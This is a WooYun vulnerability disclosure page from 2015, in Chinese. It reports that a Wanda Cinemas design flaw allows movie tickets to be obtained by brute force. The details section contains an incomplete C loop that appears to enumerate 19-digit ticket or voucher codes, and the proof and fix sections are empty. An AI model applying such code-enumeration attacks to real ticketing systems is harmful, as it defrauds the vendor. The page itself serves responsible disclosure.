WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092729

漏洞标题：万达电影某处设计不当可导致非法获得电影票

相关厂商：大连万达集团股份有限公司

漏洞作者： g0odnight

提交时间：2015-01-20 15:17

修复时间：2015-03-06 15:18

公开时间：2015-03-06 15:18

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-01-20： 细节已通知厂商并且等待厂商处理中
2015-01-20： 厂商已经确认，细节仅向厂商公开
2015-01-30： 细节向核心白帽子及相关领域专家公开
2015-02-09： 细节向普通白帽子公开
2015-02-19： 细节向实习白帽子公开
2015-03-06： 细节向公众公开

简要描述：

某处设计不当，可通过爆破来刷电影票。审核君，涉及到经济利益的不会也走小厂商吧？

详细说明：

int arr[19] = { 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };
	int i = 18;
	while (arr[0] == 3)
	{
		arr[18] += 1;
		arr[13] += 1;
		arr[7] += 1;
		while (i > 14)
		{
			if (arr[i] >= 10)
			{
				arr[i - 1] += 1;
				arr[i] = 0;
				if (arr[i - 1] >= 10)
				{
					arr[i - 2] += 1;
					arr[i - 1] = 0;
				}
			}
			i--;
		}
		while (i > 8)
		{
			if (arr[i] >= 10)
			{
				arr[i - 1] += 1;
				arr[i] = 0;
				if (arr[i - 1] >= 10)
				{
					arr[i - 2] += 1;
					arr[i - 1] = 0;
				}
			}
			i--;
		}
		while (i > 2)
		{
			if (arr[i] >= 10)
			{
				arr[i - 1] += 1;
				arr[i] = 0;
				if (arr[i - 1] >= 10)
				{
					arr[i - 2] += 1;
					arr[i - 1] = 0;
				}
			}
			i--;
		}

漏洞证明：

修复方案：

版权声明：转载请注明来源 g0odnight@乌云

漏洞回应